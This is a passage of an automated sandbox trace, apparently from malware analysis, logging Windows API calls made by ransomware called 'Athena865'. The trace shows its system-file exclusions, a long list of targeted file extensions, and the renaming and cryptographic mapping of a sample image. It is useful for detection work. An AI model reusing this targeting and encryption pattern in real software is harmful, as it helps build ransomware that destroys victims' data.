(lpString1=".jpg", lpString2="kexi") returned -1 [0104.370] lstrlenW (lpString="kexic") returned 5 [0104.370] lstrcmpiW (lpString1="m.jpg", lpString2="kexic") returned 1 [0104.370] lstrlenW (lpString="kexis") returned 5 [0104.370] lstrcmpiW (lpString1="m.jpg", lpString2="kexis") returned 1 [0104.370] lstrlenW (lpString="lgc") returned 3 [0104.370] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1 [0104.370] lstrlenW (lpString="lwx") returned 3 [0104.370] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1 [0104.370] lstrlenW (lpString="maf") returned 3 [0104.370] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1 [0104.370] lstrlenW (lpString="maq") returned 3 [0104.370] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1 [0104.370] lstrlenW (lpString="mar") returned 3 [0104.370] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1 [0104.370] lstrlenW (lpString="marshal") returned 7 [0104.370] lstrcmpiW (lpString1="mum.jpg", lpString2="marshal") returned 1 [0104.370] lstrlenW (lpString="mas") returned 3 [0104.370] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1 [0104.370] lstrlenW (lpString="mav") returned 3 [0104.370] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1 [0104.370] lstrlenW (lpString="maw") returned 3 [0104.370] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1 [0104.370] lstrlenW (lpString="mdbhtml") returned 7 [0104.371] lstrcmpiW (lpString1="mum.jpg", lpString2="mdbhtml") returned 1 [0104.371] lstrlenW (lpString="mdn") returned 3 [0104.371] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1 [0104.371] lstrlenW (lpString="mdt") returned 3 [0104.371] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1 [0104.371] lstrlenW (lpString="mfd") returned 3 [0104.371] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1 [0104.371] lstrlenW (lpString="mpd") returned 3 [0104.371] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1 [0104.371] lstrlenW (lpString="mrg") returned 3 [0104.371] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1 [0104.371] lstrlenW (lpString="mud") returned 3 [0104.371] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1 [0104.371] lstrlenW (lpString="mwb") returned 3 [0104.371] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1 [0104.371] lstrlenW (lpString="myd") returned 3 [0104.371] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1 [0104.371] lstrlenW (lpString="ndf") returned 3 [0104.371] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1 [0104.371] lstrlenW (lpString="nnt") returned 3 [0104.371] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1 [0104.371] lstrlenW (lpString="nrmlib") returned 6 [0104.371] lstrcmpiW (lpString1="um.jpg", lpString2="nrmlib") returned 1 [0104.371] lstrlenW (lpString="ns2") returned 3 [0104.371] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1 [0104.371] lstrlenW (lpString="ns3") returned 3 [0104.371] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1 [0104.371] lstrlenW (lpString="ns4") returned 3 [0104.371] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1 [0104.371] lstrlenW (lpString="nsf") returned 3 [0104.371] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1 [0104.372] lstrlenW (lpString="nv") returned 2 [0104.372] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1 [0104.372] lstrlenW (lpString="nv2") returned 3 [0104.372] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1 [0104.372] lstrlenW (lpString="nwdb") returned 4 [0104.372] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1 [0104.372] lstrlenW (lpString="nyf") returned 3 [0104.372] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1 [0104.372] lstrlenW (lpString="odb") returned 3 [0104.372] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1 [0104.372] lstrlenW (lpString="odb") returned 3 [0104.372] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1 [0104.372] lstrlenW (lpString="oqy") returned 3 [0104.372] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1 [0104.372] lstrlenW (lpString="ora") returned 3 [0104.372] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1 [0104.372] lstrlenW (lpString="orx") returned 3 [0104.372] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1 [0104.372] lstrlenW (lpString="owc") returned 3 [0104.372] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1 [0104.372] lstrlenW (lpString="p96") returned 3 [0104.372] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1 [0104.372] lstrlenW (lpString="p97") returned 3 [0104.372] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1 [0104.372] lstrlenW (lpString="pan") returned 3 [0104.372] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1 [0104.372] lstrlenW (lpString="pdb") returned 3 [0104.372] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1 [0104.372] lstrlenW (lpString="pdm") returned 3 [0104.372] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1 [0104.372] lstrlenW (lpString="pnz") returned 3 [0104.373] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1 [0104.373] lstrlenW (lpString="qry") returned 3 [0104.373] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1 [0104.373] lstrlenW (lpString="qvd") returned 3 [0104.373] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1 [0104.373] lstrlenW (lpString="rbf") returned 3 [0104.373] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1 [0104.373] lstrlenW (lpString="rctd") returned 4 [0104.373] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1 [0104.373] lstrlenW (lpString="rod") returned 3 [0104.373] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1 [0104.373] lstrlenW (lpString="rodx") returned 4 [0104.373] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1 [0104.373] lstrlenW (lpString="rpd") returned 3 [0104.373] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1 [0104.373] lstrlenW (lpString="rsd") returned 3 [0104.373] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1 [0104.373] lstrlenW (lpString="sas7bdat") returned 8 [0104.373] lstrcmpiW (lpString1="emum.jpg", lpString2="sas7bdat") returned -1 [0104.373] lstrlenW (lpString="sbf") returned 3 [0104.373] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1 [0104.373] lstrlenW (lpString="scx") returned 3 [0104.373] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1 [0104.373] lstrlenW (lpString="sdb") returned 3 [0104.373] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1 [0104.373] lstrlenW (lpString="sdc") returned 3 [0104.373] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1 [0104.373] lstrlenW (lpString="sdf") returned 3 [0104.373] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1 [0104.373] lstrlenW (lpString="sis") returned 3 [0104.373] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1 [0104.373] lstrlenW (lpString="spq") returned 3 [0104.374] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1 [0104.374] lstrlenW (lpString="te") returned 2 [0104.374] lstrcmpiW (lpString1="pg", lpString2="te") returned -1 [0104.374] lstrlenW (lpString="teacher") returned 7 [0104.374] lstrcmpiW (lpString1="mum.jpg", lpString2="teacher") returned -1 [0104.374] lstrlenW (lpString="tmd") returned 3 [0104.374] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1 [0104.374] lstrlenW (lpString="tps") returned 3 [0104.374] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1 [0104.374] lstrlenW (lpString="trc") returned 3 [0104.374] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1 [0104.374] lstrlenW (lpString="trc") returned 3 [0104.374] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1 [0104.374] lstrlenW (lpString="trm") returned 3 [0104.374] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1 [0104.374] lstrlenW (lpString="udb") returned 3 [0104.374] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1 [0104.374] lstrlenW (lpString="udl") returned 3 [0104.374] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1 [0104.374] lstrlenW (lpString="usr") returned 3 [0104.374] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1 [0104.374] lstrlenW (lpString="v12") returned 3 [0104.374] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1 [0104.374] lstrlenW (lpString="vis") returned 3 [0104.374] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1 [0104.374] lstrlenW (lpString="vpd") returned 3 [0104.374] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1 [0104.374] lstrlenW (lpString="vvv") returned 3 [0104.374] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1 [0104.374] lstrlenW (lpString="wdb") returned 3 [0104.374] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1 [0104.375] lstrlenW (lpString="wmdb") returned 4 [0104.375] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1 [0104.375] lstrlenW (lpString="wrk") returned 3 [0104.375] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1 [0104.375] lstrlenW (lpString="xdb") returned 3 [0104.375] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1 [0104.375] lstrlenW (lpString="xld") returned 3 [0104.375] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1 [0104.375] lstrlenW (lpString="xmlff") returned 5 [0104.375] lstrcmpiW (lpString1="m.jpg", lpString2="xmlff") returned -1 [0104.375] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.Athena865") returned 85 [0104.375] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), lpNewFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.Athena865" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\chrysanthemum.jpg.athena865"), dwFlags=0x1) returned 1 [0104.376] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.Athena865" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\chrysanthemum.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0104.377] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=879394) returned 1 [0104.377] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0104.377] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0104.377] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0104.377] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0104.378] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0104.378] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.378] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd6e30, lpName=0x0) returned 0x154 [0104.379] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd6e30) returned 0x2d50000 [0104.444] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0104.445] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0104.445] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d048 [0104.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0104.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x549d40 [0104.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0104.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x549d40 | out: hHeap=0x4f0000) returned 1 [0104.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0104.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x549d40 [0104.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0104.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x549d40 | out: hHeap=0x4f0000) returned 1 [0104.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0104.445] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0104.453] CloseHandle (hObject=0x154) returned 1 [0104.453] CloseHandle (hObject=0x17c) returned 1 [0104.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0104.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0104.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0104.457] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xce875, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desert.jpg", cAlternateFileName="")) returned 1 [0104.457] lstrcmpiW (lpString1="Desert.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0104.457] lstrcmpiW (lpString1="Desert.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0104.457] lstrcmpiW (lpString1="Desert.jpg", lpString2=".") returned 1 [0104.457] lstrcmpiW (lpString1="Desert.jpg", lpString2="..") returned 1 [0104.457] lstrcmpiW (lpString1="Desert.jpg", lpString2="windows") returned -1 [0104.457] lstrcmpiW (lpString1="Desert.jpg", lpString2="bootmgr") returned 1 [0104.457] lstrcmpiW (lpString1="Desert.jpg", lpString2="temp") returned -1 [0104.457] lstrcmpiW (lpString1="Desert.jpg", lpString2="pagefile.sys") returned -1 [0104.457] lstrcmpiW (lpString1="Desert.jpg", lpString2="boot") returned 1 [0104.457] lstrcmpiW (lpString1="Desert.jpg", lpString2="ids.txt") returned -1 [0104.457] lstrcmpiW (lpString1="Desert.jpg", lpString2="ntuser.dat") returned -1 [0104.457] lstrcmpiW (lpString1="Desert.jpg", lpString2="perflogs") returned -1 [0104.457] lstrcmpiW (lpString1="Desert.jpg", lpString2="MSBuild") returned -1 [0104.457] lstrlenW (lpString="Desert.jpg") returned 10 [0104.457] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Desert.jpg" | out: lpString1="Desert.jpg") returned="Desert.jpg" [0104.457] lstrlenW (lpString="Desert.jpg") returned 10 [0104.457] lstrlenW (lpString="Athena865") returned 9 [0104.457] lstrcmpiW (lpString1="esert.jpg", lpString2="Athena865") returned 1 [0104.457] lstrlenW (lpString=".dll") returned 4 [0104.457] lstrcmpiW (lpString1="Desert.jpg", lpString2=".dll") returned 1 [0104.457] lstrlenW (lpString=".lnk") returned 4 [0104.457] lstrcmpiW (lpString1="Desert.jpg", lpString2=".lnk") returned 1 [0104.457] lstrlenW (lpString=".ini") returned 4 [0104.457] lstrcmpiW (lpString1="Desert.jpg", lpString2=".ini") returned 1 [0104.457] lstrlenW (lpString=".sys") returned 4 [0104.457] lstrcmpiW (lpString1="Desert.jpg", lpString2=".sys") returned 1 [0104.457] lstrlenW (lpString="Desert.jpg") returned 10 [0104.457] lstrlenW (lpString="bak") returned 3 [0104.457] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1 [0104.457] lstrlenW (lpString="ba_") returned 3 [0104.458] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1 [0104.458] lstrlenW (lpString="dbb") returned 3 [0104.458] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1 [0104.458] lstrlenW (lpString="vmdk") returned 4 [0104.458] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1 [0104.458] lstrlenW (lpString="rar") returned 3 [0104.458] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1 [0104.458] lstrlenW (lpString="zip") returned 3 [0104.458] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1 [0104.458] lstrlenW (lpString="tgz") returned 3 [0104.458] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1 [0104.458] lstrlenW (lpString="vbox") returned 4 [0104.458] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1 [0104.458] lstrlenW (lpString="vdi") returned 3 [0104.458] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1 [0104.458] lstrlenW (lpString="vhd") returned 3 [0104.458] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1 [0104.458] lstrlenW (lpString="vhdx") returned 4 [0104.458] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1 [0104.458] lstrlenW (lpString="avhd") returned 4 [0104.458] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1 [0104.458] lstrlenW (lpString="db") returned 2 [0104.458] lstrcmpiW (lpString1="pg", lpString2="db") returned 1 [0104.458] lstrlenW (lpString="db2") returned 3 [0104.458] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1 [0104.458] lstrlenW (lpString="db3") returned 3 [0104.458] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1 [0104.458] lstrlenW (lpString="dbf") returned 3 [0104.458] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1 [0104.458] lstrlenW (lpString="mdf") returned 3 [0104.458] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1 [0104.458] lstrlenW (lpString="mdb") returned 3 [0104.459] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1 [0104.459] lstrlenW (lpString="sql") returned 3 [0104.459] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1 [0104.459] lstrlenW (lpString="sqlite") returned 6 [0104.459] lstrcmpiW (lpString1="rt.jpg", lpString2="sqlite") returned -1 [0104.459] lstrlenW (lpString="sqlite3") returned 7 [0104.459] lstrcmpiW (lpString1="ert.jpg", lpString2="sqlite3") returned -1 [0104.459] lstrlenW (lpString="sqlitedb") returned 8 [0104.459] lstrcmpiW (lpString1="sert.jpg", lpString2="sqlitedb") returned -1 [0104.459] lstrlenW (lpString="xml") returned 3 [0104.459] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1 [0104.459] lstrlenW (lpString="$er") returned 3 [0104.459] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1 [0104.459] lstrlenW (lpString="4dd") returned 3 [0104.459] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1 [0104.459] lstrlenW (lpString="4dl") returned 3 [0104.459] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1 [0104.459] lstrlenW (lpString="^^^") returned 3 [0104.459] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1 [0104.459] lstrlenW (lpString="abs") returned 3 [0104.459] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1 [0104.459] lstrlenW (lpString="abx") returned 3 [0104.459] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1 [0104.459] lstrlenW (lpString="accdb") returned 5 [0104.459] lstrcmpiW (lpString1="t.jpg", lpString2="accdb") returned 1 [0104.459] lstrlenW (lpString="accdc") returned 5 [0104.459] lstrcmpiW (lpString1="t.jpg", lpString2="accdc") returned 1 [0104.459] lstrlenW (lpString="accde") returned 5 [0104.459] lstrcmpiW (lpString1="t.jpg", lpString2="accde") returned 1 [0104.459] lstrlenW (lpString="accdr") returned 5 [0104.459] lstrcmpiW (lpString1="t.jpg", lpString2="accdr") returned 1 [0104.460] lstrlenW (lpString="accdt") returned 5 [0104.460] lstrcmpiW (lpString1="t.jpg", lpString2="accdt") returned 1 [0104.460] lstrlenW (lpString="accdw") returned 5 [0104.460] lstrcmpiW (lpString1="t.jpg", lpString2="accdw") returned 1 [0104.460] lstrlenW (lpString="accft") returned 5 [0104.463] lstrcmpiW (lpString1="t.jpg", lpString2="accft") returned 1 [0104.464] lstrlenW (lpString="adb") returned 3 [0104.465] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0104.465] lstrlenW (lpString="adb") returned 3 [0104.465] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0104.466] lstrlenW (lpString="ade") returned 3 [0104.466] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1 [0104.466] lstrlenW (lpString="adf") returned 3 [0104.466] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1 [0104.466] lstrlenW (lpString="adn") returned 3 [0104.466] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1 [0104.466] lstrlenW (lpString="adp") returned 3 [0104.466] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1 [0104.466] lstrlenW (lpString="alf") returned 3 [0104.466] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1 [0104.466] lstrlenW (lpString="ask") returned 3 [0104.466] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1 [0104.466] lstrlenW (lpString="btr") returned 3 [0104.466] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1 [0104.466] lstrlenW (lpString="cat") returned 3 [0104.466] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1 [0104.466] lstrlenW (lpString="cdb") returned 3 [0104.466] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1 [0104.466] lstrlenW (lpString="ckp") returned 3 [0104.466] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1 [0104.466] lstrlenW (lpString="cma") returned 3 [0104.466] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1 [0104.466] lstrlenW (lpString="cpd") returned 3 [0104.466] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1 [0104.466] lstrlenW (lpString="dacpac") returned 6 [0104.466] lstrcmpiW (lpString1="rt.jpg", lpString2="dacpac") returned 1 [0104.467] lstrlenW (lpString="dad") returned 3 [0104.467] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1 [0104.467] lstrlenW (lpString="dadiagrams") returned 10 [0104.467] lstrlenW (lpString="daschema") returned 8 [0104.467] lstrcmpiW (lpString1="sert.jpg", lpString2="daschema") returned 1 [0104.467] lstrlenW (lpString="db-journal") returned 10 [0104.467] lstrlenW (lpString="db-shm") returned 6 [0104.467] lstrcmpiW (lpString1="rt.jpg", lpString2="db-shm") returned 1 [0104.467] lstrlenW (lpString="db-wal") returned 6 [0104.467] lstrcmpiW (lpString1="rt.jpg", lpString2="db-wal") returned 1 [0104.467] lstrlenW (lpString="dbc") returned 3 [0104.467] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1 [0104.467] lstrlenW (lpString="dbs") returned 3 [0104.467] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1 [0104.467] lstrlenW (lpString="dbt") returned 3 [0104.467] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1 [0104.467] lstrlenW (lpString="dbv") returned 3 [0104.467] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1 [0104.467] lstrlenW (lpString="dbx") returned 3 [0104.467] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1 [0104.467] lstrlenW (lpString="dcb") returned 3 [0104.467] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1 [0104.467] lstrlenW (lpString="dct") returned 3 [0104.467] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1 [0104.467] lstrlenW (lpString="dcx") returned 3 [0104.467] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1 [0104.467] lstrlenW (lpString="ddl") returned 3 [0104.467] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1 [0104.467] lstrlenW (lpString="dlis") returned 4 [0104.467] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1 [0104.467] lstrlenW (lpString="dp1") returned 3 [0104.467] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1 [0104.468] lstrlenW (lpString="dqy") returned 3 [0104.468] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1 [0104.468] lstrlenW (lpString="dsk") returned 3 [0104.468] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1 [0104.468] lstrlenW (lpString="dsn") returned 3 [0104.468] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1 [0104.468] lstrlenW (lpString="dtsx") returned 4 [0104.468] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1 [0104.468] lstrlenW (lpString="dxl") returned 3 [0104.468] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1 [0104.468] lstrlenW (lpString="eco") returned 3 [0104.468] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1 [0104.468] lstrlenW (lpString="ecx") returned 3 [0104.468] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1 [0104.468] lstrlenW (lpString="edb") returned 3 [0104.468] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1 [0104.468] lstrlenW (lpString="epim") returned 4 [0104.468] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1 [0104.468] lstrlenW (lpString="fcd") returned 3 [0104.468] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1 [0104.468] lstrlenW (lpString="fdb") returned 3 [0104.468] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1 [0104.468] lstrlenW (lpString="fic") returned 3 [0104.468] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1 [0104.468] lstrlenW (lpString="flexolibrary") returned 12 [0104.468] lstrlenW (lpString="fm5") returned 3 [0104.468] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1 [0104.468] lstrlenW (lpString="fmp") returned 3 [0104.468] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1 [0104.468] lstrlenW (lpString="fmp12") returned 5 [0104.468] lstrcmpiW (lpString1="t.jpg", lpString2="fmp12") returned 1 [0104.468] lstrlenW (lpString="fmpsl") returned 5 [0104.468] lstrcmpiW (lpString1="t.jpg", lpString2="fmpsl") returned 1 [0104.469] lstrlenW (lpString="fol") returned 3 [0104.469] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1 [0104.469] lstrlenW (lpString="fp3") returned 3 [0104.469] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1 [0104.469] lstrlenW (lpString="fp4") returned 3 [0104.469] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1 [0104.469] lstrlenW (lpString="fp5") returned 3 [0104.469] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1 [0104.469] lstrlenW (lpString="fp7") returned 3 [0104.469] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1 [0104.469] lstrlenW (lpString="fpt") returned 3 [0104.469] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1 [0104.469] lstrlenW (lpString="frm") returned 3 [0104.469] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1 [0104.469] lstrlenW (lpString="gdb") returned 3 [0104.469] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1 [0104.469] lstrlenW (lpString="gdb") returned 3 [0104.469] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1 [0104.469] lstrlenW (lpString="grdb") returned 4 [0104.469] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1 [0104.469] lstrlenW (lpString="gwi") returned 3 [0104.469] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1 [0104.469] lstrlenW (lpString="hdb") returned 3 [0104.469] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1 [0104.469] lstrlenW (lpString="his") returned 3 [0104.469] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1 [0104.469] lstrlenW (lpString="ib") returned 2 [0104.469] lstrcmpiW (lpString1="pg", 